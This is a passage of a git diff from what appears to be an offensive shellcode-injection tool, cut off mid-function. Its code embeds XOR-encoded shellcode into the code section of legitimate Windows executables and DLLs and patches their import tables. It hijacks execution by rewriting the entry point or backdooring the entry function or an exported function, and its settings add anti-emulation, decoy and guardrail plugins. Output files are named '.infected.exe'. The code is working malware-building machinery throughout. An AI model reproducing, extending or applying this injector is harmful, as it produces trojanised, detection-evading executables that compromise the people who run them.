lpflOldprotect +) { + char *dest = (char *)lpAddress; + + for(int n=0; n<(dwSize/4096)+1; n++) { + if (VirtualProtect(dest + (n * 4096), VP_SIZE, flNewProtect, lpflOldprotect) == 0) { + return FALSE; + } + } + return TRUE; +} diff --git a/helper.py b/helper.py index abcec80..b007fb2 100644 --- a/helper.py +++ b/helper.py @@ -136,24 +136,6 @@ def file_to_lf(filename): f.write(data) -def find_first_utf16_string_offset(data, min_len=8): - current_string = bytearray() - start_offset = None # To keep track of the start of the current string - for i in range(0, len(data) - 1, 2): - # Check if we have a valid character - if data[i] != 0 or data[i+1] != 0: - if start_offset is None: # Mark the start of a new string - start_offset = i - current_string += bytes([data[i], data[i+1]]) - else: - if len(current_string) >= min_len * 2: # Check if the current string meets the minimum length - return start_offset # Return the offset where the string starts - current_string = bytearray() - start_offset = None # Reset start offset for the next string - - return None # No string found that meets the criteria - - def round_up_to_multiple_of_8(x): return math.ceil(x / 8) * 8 @@ -169,6 +151,7 @@ def ui_string_decode(data): except Exception as e: logger.warning("ui_string_decode: {}".format(e)) + def ascii_to_hex_bytes(ascii_bytes): hex_escaped = ''.join(f'\\x{byte:02x}' for byte in ascii_bytes) return hex_escaped diff --git a/model/defs.py b/model/defs.py index 28c56cc..44f3af7 100644 --- a/model/defs.py +++ b/model/defs.py @@ -13,27 +13,25 @@ PATH_EXES_MORE = "data/binary/exes_more/" PATH_SHELLCODES = "data/binary/shellcodes/" PATH_CARRIER = "data/source/carrier/" PATH_PAYLOAD = "data/source/payload/" -PATH_DECODER = "data/source/carrier/decoder/" + +PATH_DECODER = "data/source/decoder/" +PATH_ANTIEMULATION = "data/source/antiemulation/" +PATH_DECOY = "data/source/decoy/" +PATH_GUARDRAILS = "data/source/guardrails/" +PATH_VIRTUALPROTECT = "data/source/virtualprotect/" PATH_WEB_PROJECT = "projects/" -# Correlated with real template files -# in data/plugins/ -class DecoderStyle(Enum): - PLAIN_1 = "plain_1" - XOR_1 = "xor_1" - XOR_2 = "xor_2" - class PayloadLocation(Enum): - CODE = "code" - DATA = "data" + CODE = ".text" + DATA = ".rdata" class CarrierInvokeStyle(Enum): ChangeEntryPoint = "change EntryPoint" - BackdoorCallInstr = "hijack Main" + BackdoorCallInstr = "backdoor Entrypoint" class FunctionInvokeStyle(Enum): diff --git a/model/carrier.py b/model/injectable.py similarity index 61% rename from model/carrier.py rename to model/injectable.py index a6df363..7b68881 100644 --- a/model/carrier.py +++ b/model/injectable.py @@ -6,37 +6,65 @@ from model.defs import * from pe.superpe import SuperPe, PeSection -logger = logging.getLogger("Carrier") +logger = logging.getLogger("Injectable") class IatRequest(): def __init__(self, name: str, placeholder: bytes): self.name: str = name # Function Name, like "VirtualAlloc" - self.placeholder: bytes = placeholder # Random bytes as placeholder + self.references: List[bytes] = [] + self.add_reference(placeholder) + + def add_reference(self, placeholder): + self.references.append(placeholder) + + +class DataReuseReference(): + def __init__(self, placeholder: bytes, register: str): + self.placeholder: bytes = placeholder + self.register: str = register class DataReuseEntry(): - def __init__(self, string_ref: str): + def __init__(self, string_ref: str, in_code: bool = False): self.string_ref: str = string_ref # "$SG72513" + self.data: bytes = b'' # the content/data + self.addr: int = 0 # where content/data is stored + self.in_code: bool = in_code # is the data in code section - self.register: str = "" # "rcx" - self.randbytes: bytes = b"" # placeholder - self.data: bytes = b'' - self.addr: int = 0 + self.references: List[DataReuseReference] = [] -class Carrier(): + def add_reference(self, placeholder, register): + self.references.append(DataReuseReference(placeholder, register)) + + +class Injectable(): def __init__(self, exe_file: str): self.iat_requests: List[IatRequest] = [] self.reusedata_fixups: List[DataReuseEntry] = [] self.exe_filepath: str = exe_file self.superpe: SuperPe = None - def init(self): self.superpe = SuperPe(self.exe_filepath) + # IAT + + def add_iat_request(self, func_name: str, placeholder: bytes): + # existing? + for iat in self.iat_requests: + if iat.name == func_name: + iat.add_reference(placeholder) + return + + # new + self.iat_requests.append(IatRequest(func_name, placeholder)) + + def get_all_iat_requests(self) -> List[IatRequest]: + return self.iat_requests + def get_unresolved_iat(self): """Returns a list of IAT entries not available in the PE file""" functions = [] @@ -46,15 +74,6 @@ class Carrier(): return functions - # IAT - - def add_iat_request(self, func_name: str, placeholder: bytes): - self.iat_requests.append(IatRequest(func_name, placeholder)) - - def get_all_iat_requests(self) -> List[IatRequest]: - return self.iat_requests - - # Data Reuse def add_datareuse_fixup(self, fixup: DataReuseEntry): diff --git a/model/payload.py b/model/payload.py index a8d7f76..d4252f4 100644 --- a/model/payload.py +++ b/model/payload.py @@ -10,12 +10,10 @@ class Payload(): def __init__(self, filepath: FilePath): self.payload_path: FilePath = filepath self.payload_data: bytes = b"" - self.len: int = 0 def init(self): logging.info("--( Load payload: {}".format(self.payload_path)) with open(self.payload_path, 'rb') as f: self.payload_data = f.read() - self.len = len(self.payload_data) diff --git a/model/project.py b/model/project.py index d2418c4..044ec27 100644 --- a/model/project.py +++ b/model/project.py @@ -4,7 +4,7 @@ import shutil from model.defs import * from model.payload import Payload from model.settings import Settings -from model.carrier import Carrier +from model.injectable import Injectable logger = logging.getLogger("Project") @@ -22,7 +22,7 @@ class Project(): self.comment: str = "" self.settings: Settings = settings self.payload: Payload = Payload(self.settings.payload_path) - self.carrier: Carrier = Carrier(self.settings.inject_exe_in) + self.injectable: Injectable = Injectable(self.settings.inject_exe_in) self.project_dir: str = "" self.project_exe: str = "" @@ -30,7 +30,7 @@ class Project(): def init(self): self.payload.init() - self.carrier.init() + self.injectable.init() def prepare_project(project_name, settings): diff --git a/model/rangemanager.py b/model/rangemanager.py index 6e8febd..821e32f 100644 --- a/model/rangemanager.py +++ b/model/rangemanager.py @@ -11,15 +11,18 @@ class RangeManager: self.min = min self.max = max + if min > 0: + self.intervals.add(Interval(0, min)) + def merge_overlaps(self): self.intervals.merge_overlaps(strict=False) def print_all(self): - logger.info("Min: {} Max: {}".format(self.min, self.max)) + print("Min: {} Max: {}".format(self.min, self.max)) for i in self.intervals: - logger.info("Interval: {}-{}".format(i.begin, i.end)) + print("Interval: {}-{}".format(i.begin, i.end)) def add_range(self, start, end): diff --git a/model/settings.py b/model/settings.py index a9af17d..6203313 100644 --- a/model/settings.py +++ b/model/settings.py @@ -11,9 +11,16 @@ class Settings(): # Settings self.carrier_name: str = "" - self.decoder_style: DecoderStyle = DecoderStyle.XOR_1 + self.decoder_style: str = "xor_2" self.short_call_patching: bool = False + self.plugin_antiemulation = "none" + self.plugin_decoy = "none" + self.plugin_guardrail = "none" + self.plugin_guardrail_data = "C:\\Users\\" + self.plugin_virtualprotect = "standard" + self.plugin_virtualprotect_data = "" + self.dllfunc: str = "" # For DLL injection # Injectable @@ -31,7 +38,7 @@ class Settings(): self.generate_shc_from_asm: bool = True # More - self.fix_missing_iat = False + self.fix_missing_iat = True self.payload_location = PayloadLocation.DATA # directories and filenames @@ -42,3 +49,19 @@ class Settings(): self.main_shc_path = self.main_dir + "main.bin" self.inject_exe_out = "{}{}".format( self.main_dir, os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe")) + + def init_payload_injectable(self, shellcode, injectable, dll_func): + self.payload_path = PATH_SHELLCODES + shellcode + if shellcode == "createfile.bin": + self.verify = True + self.try_start_final_infected_exe = False + else: + self.cleanup_files_on_exit = False + + self.inject_exe_in = injectable + self.inject_exe_out = "{}{}".format( + self.main_dir, + os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe") + ) + + self.dllfunc = dll_func \ No newline at end of file diff --git a/pe/derbackdoorer.py b/pe/derbackdoorer.py index e52cc87..c29eab8 100644 --- a/pe/derbackdoorer.py +++ b/pe/derbackdoorer.py @@ -32,7 +32,7 @@ class FunctionBackdoorer: def backdoor_function(self, function_addr: int, shellcode_addr: int, shellcode_len: int): - logger.info("Backdooring function at 0x{:X} (jump to shellcode at 0x{:X})".format(function_addr, shellcode_addr)) + logger.info("--[ Backdooring exe function at 0x{:X} with jump to carrier at 0x{:X}".format(function_addr, shellcode_addr)) addr = self.find_suitable_instruction_addr(function_addr) if addr is None: @@ -64,7 +64,7 @@ class FunctionBackdoorer: def find_suitable_instruction_addr(self, startOffset, length=256): """Find a instruction to backdoor. Recursively.""" - logger.info("find suitable instruction to hijack starting from 0x{:X} len:{} depthopt:{}".format( + logger.info("---[ find suitable instruction to hijack starting from 0x{:X} len:{} depthopt:{}".format( startOffset, length, self.depth_option)) if self.depth_option == DEPTH_OPTIONS.LEVEL1: diff --git a/pe/pehelper.py b/pe/pehelper.py index 7f11ca8..ff8df78 100644 --- a/pe/pehelper.py +++ b/pe/pehelper.py @@ -11,6 +11,26 @@ logger = logging.getLogger("PEHelper") # Its mostly used for verification of what we were doing. +# PRE-LOAD a dll file into memory +# This will load the DLL file into a memory buffer, already +# loaded at the correct RVA addresses (e.g. sections page aligned). +def preload_dll(payload_path: str) -> bytes: + dllPe = pefile.PE(payload_path) + dllImageSize = dllPe.OPTIONAL_HEADER.SizeOfImage + payload: bytearray = bytearray(dllImageSize) + + # copy PE header sizeofheaders + payload[:dllPe.OPTIONAL_HEADER.SizeOfHeaders] = dllPe.get_data()[:dllPe.OPTIONAL_HEADER.SizeOfHeaders] + + # copy sections + for section in dllPe.sections: + if section.SizeOfRawData == 0: + continue + payload[section.VirtualAddress:section.VirtualAddress + section.SizeOfRawData] = section.get_data() + + return bytes(payload) + + def extract_code_from_exe_file_ep(exe_file: FilePath, len: int) -> bytes: pe = pefile.PE(exe_file) section = get_code_section(pe) @@ -69,3 +89,11 @@ def remove_trailing_null_bytes(data: bytes) -> bytes: if data[i] != b'\x00'[0]: # Check for a non-null byte return data[:i + 1] return b'' # If the entire sequence is null bytes + + +def align_to_page_size(rva, offset, page_size=4096): + # Align to the nearest lower page boundary + aligned_address = rva & ~(page_size - 1) + real_address = aligned_address - offset + logger.debug(" Aligning: 0x{:X} to 0x{:X}".format(aligned_address, real_address)) + return real_address \ No newline at end of file diff --git a/pe/superpe.py b/pe/superpe.py index 5c11757..d25e5d6 100644 --- a/pe/superpe.py +++ b/pe/superpe.py @@ -43,6 +43,7 @@ class SuperPe(): self.iat_entries: Dict[str, IatEntry] = {} self.init_iat_entries() + def init_iat_entries(self): self.pe.parse_data_directories() self.make_iat_entries() @@ -164,72 +165,6 @@ class SuperPe(): return base_relocs - def getSectionIndexByDataDir(self, dirIndex): - addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[dirIndex].VirtualAddress - - i = 0 - for sect in self.pe.sections: - if addr >= sect.VirtualAddress and addr < (sect.VirtualAddress + sect.Misc_VirtualSize): - return i - i += 1 - - logger.error(f'Could not find section with directory index {dirIndex}!') - return -1 - - - def getRemainingRelocsDirectorySize(self): - relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC) - out = self.pe.sections[relocsIndex].SizeOfRawData - self.pe.sections[relocsIndex].Misc_VirtualSize - return out - - - def addImageBaseRelocations(self, pageRva, relocs): - assert pageRva > 0 - - if not self.pe.has_relocs(): - logger.error("No .reloc section") - raise(Exception("No .reloc section")) - - if self.is_64(): - imageBaseRelocType = SuperPe.IMAGE_REL_BASED_DIR64 - else: - # Not really used - imageBaseRelocType = SuperPe.IMAGE_REL_BASED_HIGHLOW - - relocsSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size - relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC) - addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress - sizeOfReloc = 2 * len(relocs) + 2 * 4 - - if sizeOfReloc >= self.getRemainingRelocsDirectorySize(): - self.logger.warning('WARNING! Cannot add any more relocations to this file. Probably TLS Callback execution technique wont work.') - self.logger.warning(' Will try disabling relocations on output file. Expect corrupted executable though!') - - self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = 0 - self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = 0 - return - - relocDirRva = self.pe.sections[relocsIndex].VirtualAddress - self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += sizeOfReloc - - # VirtualAddress - self.pe.set_dword_at_rva(addr + relocsSize, pageRva) - - # SizeOfBlock - self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc) - - logger.info(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:X} - size of block: 0x{sizeOfReloc:X}') - i = 0 - for reloc in relocs: - reloc_offset = (reloc - pageRva) - reloc_type = imageBaseRelocType << 12 - - relocWord = (reloc_type | reloc_offset) - self.pe.set_word_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord) - logger.info(f'\tReloc{i} for addr 0x{reloc:X}: 0x{relocWord:X} - 0x{reloc_offset:X} - type: {imageBaseRelocType}') - i += 1 - - def getExportEntryPoint(self, exportName: str): dec = lambda x: '???' if x is None else x.decode() d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]] @@ -300,34 +235,7 @@ class SuperPe(): if exp["name"] == dllfunc: return exp["size"] return None - - - ## Relocations - - def get_rdata_relocmanager(self) -> RangeManager: - section = self.get_section_by_name(".rdata") - relocs = self.get_relocations_for_section(".rdata") - rm = RangeManager(section.virt_addr, section.virt_addr + section.virt_size) - for reloc in relocs: - # Reloc destination is probably 8 bytes - # But i add another 8 to skip over small holes (common in .rdata) - rm.add_range(reloc.rva, reloc.rva + 8 + 8) - rm.merge_overlaps() - return rm - - - def get_relocations_for_section(self, section_name: str) -> List[PeRelocEntry]: - section: PeSection = self.get_section_by_name(section_name) - ret = [] - if section is None: - return ret - for reloc in self.get_base_relocs(): - reloc_addr = reloc.rva - if reloc_addr >= section.virt_addr and reloc_addr < section.virt_addr + section.virt_size: - #logger.info("ADDR: 0x{:X}".format(reloc_addr)) - ret.append(reloc) - return ret - + ## IAT @@ -414,6 +322,66 @@ class SuperPe(): offset, func_name, new_name_bytes.decode())) self.pe.set_bytes_at_offset(offset, new_name_bytes) + ## .rdata manager + def get_rdata_rangemanager(self) -> RangeManager: + section = self.get_section_by_name(".rdata") + relocs = self.get_relocations_for_section(".rdata") + rm = RangeManager(section.virt_addr, section.virt_addr + section.virt_size) + for reloc in relocs: + # Reloc destination is probably 8 bytes + # But i add another 8 to skip over small holes (common in .rdata) + rm.add_range(reloc.rva, reloc.rva + 8 + 8) + + if True: # FIXME this is a hack which is sometimes necessary? + sect_data_copy = section.pefile_section.get_data() + string_off = find_first_utf16_string_offset(sect_data_copy) + if string_off == None: + raise Exception("Strings not found in .rdata section, abort") + if string_off < 128: + logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off)) + string_off = 128 + rm.add_range(section.virt_addr, section.virt_addr + string_off) + + rm.merge_overlaps() + return rm + + + def get_relocations_for_section(self, section_name: str) -> List[PeRelocEntry]: + section: PeSection = self.get_section_by_name(section_name) + ret = [] + if section is None: + return ret + for reloc in self.get_base_relocs(): + reloc_addr = reloc.rva + if reloc_addr >= section.virt_addr and reloc_addr < section.virt_addr + section.virt_size: + #logger.info("ADDR: 0x{:X}".format(reloc_addr)) + ret.append(reloc) + return ret + + + def get_code_rangemanager(self) -> RangeManager: + code_section = self.get_code_section() + if code_section == None: + raise Exception('Could not find code section in input PE file!') + code_section_size = code_section.Misc_VirtualSize + + # Restrictions for putting data into .text: + # - enough space for carrier + payload + # - avoid overwriting entry point function + # - carrier should not generate much smaller holes in .text + + rm = RangeManager( + code_section.VirtualAddress, + code_section.VirtualAddress + code_section_size) + + # protect entrypoint a bit + entrypoint_rva = self.get_entrypoint() + rm.add_range( + entrypoint_rva - 0x100, + entrypoint_rva + 0x100) + + return rm + ## Helpers @@ -444,3 +412,22 @@ class SuperPe(): self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0 self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0 + + + +def find_first_utf16_string_offset(data, min_len=8): + current_string = bytearray() + start_offset = None # To keep track of the start of the current string + for i in range(0, len(data) - 1, 2): + # Check if we have a valid character + if data[i] != 0 or data[i+1] != 0: + if start_offset is None: # Mark the start of a new string + start_offset = i + current_string += bytes([data[i], data[i+1]]) + else: + if len(current_string) >= min_len * 2: # Check if the current string meets the minimum length + return start_offset # Return the offset where the string starts + current_string = bytearray() + start_offset = None # Reset start offset for the next string + + return None # No string found that meets the criteria \ No newline at end of file diff --git a/phases/asmtextparser.py b/phases/asmtextparser.py index a3ca0a2..5a4c485 100644 --- a/phases/asmtextparser.py +++ b/phases/asmtextparser.py @@ -2,13 +2,13 @@ import os from typing import List, Dict from helper import * -from model.carrier import Carrier, DataReuseEntry, IatRequest +from model.injectable import Injectable, DataReuseEntry, IatRequest from model.settings import Settings logger = logging.getLogger("AsmTextParser") -def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) -> List[str]: +def parse_asm_text_file(injectable: Injectable, asm_text: str, settings: Settings) -> List[str]: lines_out = [] lines = asm_text.split("\n") @@ -55,53 +55,25 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) -> continue # PATCH external shellcode reference - if settings.payload_location == PayloadLocation.CODE: - ## mov rdi, QWORD PTR supermega_payload - ## to - ## lea rdi, [shcstart] ; get payload shellcode address - if "supermega_payload" in line: - updated_line = line - updated_line = updated_line.replace( - "mov ", - "lea " - ) - updated_line = updated_line.replace( - "QWORD PTR supermega_payload", - "[shcstart] ; get payload shellcode address" - ) - lines_out.append(updated_line) - continue - elif settings.payload_location == PayloadLocation.DATA: - ## mov rdi, QWORD PTR supermega_payload - ## to - ## lea rdi, XXX - if "supermega_payload" in line: - randbytes: bytes = os.urandom(7) # LEA is 7 bytes - string_ref = "supermega_payload" + ## mov rdi, QWORD PTR supermega_payload + ## to + ## lea rdi, XXX + if "supermega_payload" in line: + string_ref = "supermega_payload" - datareuse_fixup = carrier.get_reusedata_fixup(string_ref) - if datareuse_fixup == None: - raise Exception("Data reuse entry not found: {}".format(string_ref)) - register = line.split("mov\t")[1].split(",")[0] + # should already exist (added before) + datareuse_fixup = injectable.get_reusedata_fixup(string_ref) + if datareuse_fixup == None: + raise Exception("Data reuse entry not found: {}".format(string_ref)) - datareuse_fixup.register = register - datareuse_fixup.randbytes = randbytes + # add a reference + placeholder: bytes = os.urandom(7) # LEA is 7 bytes + register = line.split("mov\t")[1].split(",")[0] + datareuse_fixup.add_reference(placeholder, register) - line = bytes_to_asm_db(randbytes) + " ; .rdata Payload".format() - lines_out.append(line) - continue - else: - raise Exception("Unknown payload location: {}".format(settings.payload_location)) - - # ADD label at end of code - # we cant reliably identify in which function, so we just add it at the end - ## get_time_raw ENDP - ## -> add here - ## _TEXT ENDS - ## END - if line_idx > len(lines) - 5 and tokens[1] == "ENDP": + # add lines + line = bytes_to_asm_db(placeholder) + " ; supermega_payload Payload".format() lines_out.append(line) - lines_out.append("shcstart: ; start of payload shellcode") continue # COLLECT AND PATCH all functions that need to be resolved in loader shellcode @@ -112,9 +84,10 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) -> if "QWORD PTR __imp_" in line: # just the function name, without __imp_ func_name = line[line.find("__imp_")+6:].rstrip() - randbytes: bytes = os.urandom(6) # exact size or the result - carrier.add_iat_request(func_name, randbytes) - new_line = bytes_to_asm_db(randbytes) + " ; IAT Reuse for {}".format(func_name) + placeholder: bytes = os.urandom(6) # exact size or the result + injectable.add_iat_request(func_name, placeholder) + + new_line = bytes_to_asm_db(placeholder) + " ; IAT Reuse for {}".format(func_name) lines_out.append(new_line) continue @@ -125,7 +98,7 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) -> if line.startswith("$SG"): # fuck me. if we start a new definition, and have an old one, add the old one... if current_datareuse_entry != None: - carrier.add_datareuse_fixup(current_datareuse_entry) + injectable.add_datareuse_fixup(current_datareuse_entry) current_datareuse_entry = None # reset it here var_name = tokens[0] @@ -142,7 +115,7 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) -> continue if current_datareuse_entry != None: # when we reach here, $SG with its DB should be done. - carrier.add_datareuse_fixup(current_datareuse_entry) + injectable.add_datareuse_fixup(current_datareuse_entry) current_datareuse_entry = None # reset it here # PATCH data reuse code (data from C) @@ -152,17 +125,15 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) -> ## DB 07cH, 04cH, 028H, 0b0H, 006H, 07eH ; IAT Reuse for GetEnvironmentVariableW if "OFFSET FLAT:$SG" in line: string_ref = line.split("OFFSET FLAT:")[1] - register = line.split("lea\t")[1].split(",")[0] - randbytes: bytes = os.urandom(7) - - datareuse_fixup = carrier.get_reusedata_fixup(string_ref) + datareuse_fixup = injectable.get_reusedata_fixup(string_ref) if datareuse_fixup == None: raise("Data reuse entry not found: {}".format(string_ref)) - datareuse_fixup.register = register - datareuse_fixup.randbytes = randbytes + register = line.split("lea\t")[1].split(",")[0] + placeholder: bytes = os.urandom(7) + datareuse_fixup.add_reference(placeholder, register) - line = bytes_to_asm_db(randbytes) + " ; .rdata Reuse for {} ({})".format( + line = bytes_to_asm_db(placeholder) + " ; .rdata Reuse for {} ({})".format( string_ref, register) lines_out.append(line) continue diff --git a/phases/assembler.py b/phases/assembler.py index 06b10c2..3471a4d 100644 --- a/phases/assembler.py +++ b/phases/assembler.py @@ -11,7 +11,7 @@ logger = logging.getLogger("Assembler") def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes: """Takes ASM source file asm_in, compiles it into build_exe, extracts its code section and write into shellcode_out""" - logger.info("--[ Assemble to exe: {} -> {}".format(asm_in, build_exe)) + logger.info("-[ Assemble to exe: {} -> {}".format(asm_in, build_exe)) run_process_checkret([ config.get("path_ml64"), asm_in, @@ -25,33 +25,20 @@ def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes: return code -def merge_loader_payload( - shellcode_in: bytes, - payload_data: bytes, - decoder_style: DecoderStyle -) -> bytes: - payload_data = encode_payload(payload_data, decoder_style) - - logger.info("---[ Size: Carrier: {} and Payload: {} Sum: {} ".format( - len(shellcode_in), len(payload_data), len(shellcode_in)+len(payload_data))) - - return shellcode_in + payload_data - - -def encode_payload(payload: bytes, decoder_style: DecoderStyle) -> bytes: - if decoder_style == DecoderStyle.PLAIN_1: - return payload - elif decoder_style == DecoderStyle.XOR_1: +def encode_payload(payload: bytes, decoder_style: str) -> bytes: + if decoder_style == "plain": + return bytes(payload) + elif decoder_style == "xor_1": xor_key = config.xor_key logger.info("---[ XOR payload with key 0x{:X}".format(xor_key)) xored = bytes([byte ^ xor_key for byte in payload]) - return xored - elif decoder_style == DecoderStyle.XOR_2: + return bytes(xored) + elif decoder_style == "xor_2": xor_key = config.xor_key2 logger.info("---[ XOR2 payload with key {}".format(xor_key)) xored = bytearray(payload) for i in range(len(xored)): xored[i] ^= xor_key[i % 2] - return xored + return bytes(xored) else: raise Exception("Unknown decoder style") diff --git a/phases/compiler.py b/phases/compiler.py index 0bea932..26964b1 100644 --- a/phases/compiler.py +++ b/phases/compiler.py @@ -9,7 +9,7 @@ from config import config from observer import observer from model import * from phases.masmshc import masm_shc, Params -from model.carrier import Carrier +from model.injectable import Injectable from phases.asmtextparser import parse_asm_text_file from model.settings import Settings @@ -22,7 +22,7 @@ def compile_dev( asm_out: FilePath, short_call_patching: bool = False, ): - logger.info("--( Compile C to ASM: {} -> {} ".format(c_in, asm_out)) + logger.info("-( Compile C to ASM: {} -> {} ".format(c_in, asm_out)) # Compile C To Assembly (text) run_process_checkret([ @@ -51,10 +51,10 @@ def compile_dev( def compile( c_in: FilePath, asm_out: FilePath, - carrier: Carrier, + injectable: Injectable, settings: Settings, ): - logger.info("--[ Compile C to ASM: {} -> {} ".format(c_in, asm_out)) + logger.info("-[ Compile C to ASM: {} -> {} ".format(c_in, asm_out)) # Compile C To Assembly (text) run_process_checkret([ @@ -70,7 +70,7 @@ def compile( asm_text = file_readall_text(asm_out) observer.add_text_file("carrier_asm_orig", asm_text) - asm_text_lines = parse_asm_text_file(carrier, asm_text, settings) # Fixup assembly file + asm_text_lines = parse_asm_text_file(injectable, asm_text, settings) # Fixup assembly file asm_text = masm_shc(asm_text_lines) # Cleanup assembly file observer.add_text_file("carrier_asm_final", asm_text) diff --git a/phases/injector.py b/phases/injector.py index a34f5cd..3f54408 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -4,236 +4,277 @@ import time import logging from typing import Dict, List -from model.carrier import Carrier, DataReuseEntry +from model.injectable import Injectable, DataReuseEntry, DataReuseReference from pe.pehelper import * from observer import observer from pe.derbackdoorer import FunctionBackdoorer -from pe.superpe import SuperPe +from pe.superpe import SuperPe, PeSection from model.project import Project from model.settings import Settings from pe.asmdisasm import * from model.defs import * +from model.payload import Payload +from model.rangemanager import RangeManager logger = logging.getLogger("Injector") -def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier): - exe_in = settings.inject_exe_in - exe_out = settings.inject_exe_out - carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style +class Injector(): + def __init__( + self, + carrier_shc: bytes, + payload: Payload, + injectable: Injectable, + settings: Settings): + self.carrier_shc = carrier_shc + self.settings = settings + self.injectable = injectable + self.payload = payload - logger.info("--[ Injecting: into {} -> {}".format(exe_in, exe_out)) + # superpe is a representation of the exe file. We gonna modify it, and save it at the end. + # reuse from injectable + #self.superpe = SuperPe(settings.inject_exe_in) + self.superpe = injectable.superpe + self.function_backdoorer = FunctionBackdoorer(self.superpe) - # CHECK if shellcode fits into the target code section - shellcode_len = len(main_shc) - code_sect_size = carrier.superpe.get_code_section().Misc_VirtualSize - if shellcode_len + CODE_INJECT_SIZE_CHECK_ADD > code_sect_size: - raise Exception("Error: Shellcode size {}+{} too big for target code section {}".format( - shellcode_len, CODE_INJECT_SIZE_CHECK_ADD, code_sect_size - )) - - # superpe is a representation of the exe file. We gonna modify it, and save it at the end. - superpe = SuperPe(exe_in) - function_backdoorer = FunctionBackdoorer(superpe) - - # Patch IAT (if necessary and wanted) - for iatRequest in carrier.get_all_iat_requests(): - # skip available - addr = superpe.get_vaddr_of_iatentry(iatRequest.name) - if addr != None: - logger.info(" IAT {} is at: 0x{:X}".format(iatRequest.name, addr)) - continue - iat_name = superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name) - - if not settings.fix_missing_iat: - raise Exception("Error: {} not available, but fix_missing_iat is False".format( - iatRequest.name - )) - # do the patch - superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name) - - # we modify the IAT raw, so reparsing is required - superpe.pe.parse_data_directories() - superpe.init_iat_entries() - - shellcode_offset: int = 0 # file offset - - # Special case: DLL exported function direct overwrite - if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: - logger.warning("---[ Inject DLL: Overwrite exported function {} with shellcode".format(settings.dllfunc)) - rva = superpe.getExportEntryPoint(settings.dllfunc) - - # Size and sanity checks - function_size = superpe.get_size_of_exported_function(settings.dllfunc) - if shellcode_len >= function_size: - logger.warning("Shellcode larger than function: {} > {} exported function {}".format( - shellcode_len, function_size, settings.dllfunc - )) - - # Inject - shellcode_offset = superpe.get_offset_from_rva(rva) - logger.info(f'----[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{shellcode_offset:X} to overwrite') - superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc) - - else: # EXE/DLL - # Put it somewhere in the code section, and rewire the flow - sect = superpe.get_code_section() - if sect == None: - raise Exception('Could not find code section in input PE file!') - sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData - if sect_size < shellcode_len + CODE_INJECT_SIZE_CHECK_ADD: - raise Exception("Shellcode too large: {}+{} > {}".format( - shellcode_len, CODE_INJECT_SIZE_CHECK_ADD, sect_size - )) - shellcode_offset = int((sect_size - shellcode_len) / 2) # centered in the .text section - #shellcode_offset = round_up_to_multiple_of_8(shellcode_offset) - shellcode_offset += sect.PointerToRawData - shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset) - - logger.info("---( Inject: Write Shellcode to offset:0x{:X} (rva:0x{:X})".format( - shellcode_offset, shellcode_rva)) - - # Copy the shellcode - superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc) - - # rewire flow - if superpe.is_dll() and settings.dllfunc != "": # DLL - if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: - # Handled above - raise Exception("We should not land here") - - elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: - addr = superpe.getExportEntryPoint(settings.dllfunc) - logger.info("---( Inject DLL: Backdoor {} (0x{:X})".format( - settings.dllfunc, addr)) - function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len) - - else: # EXE - if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: - logger.info("---( Inject EXE: Change Entry Point to 0x{:X}".format( - shellcode_rva)) - superpe.set_entrypoint(shellcode_rva) - - elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: - addr = superpe.get_entrypoint() - logger.info("---( Inject EXE: Backdoor function at entrypoint (0x{:X})".format( - addr)) - function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len) - - logger.info("--( Fix shellcode to re-use IAT entries") - injected_fix_iat(superpe, carrier) - logger.info("--( Fix shellcode to reference data stored in .rdata") - 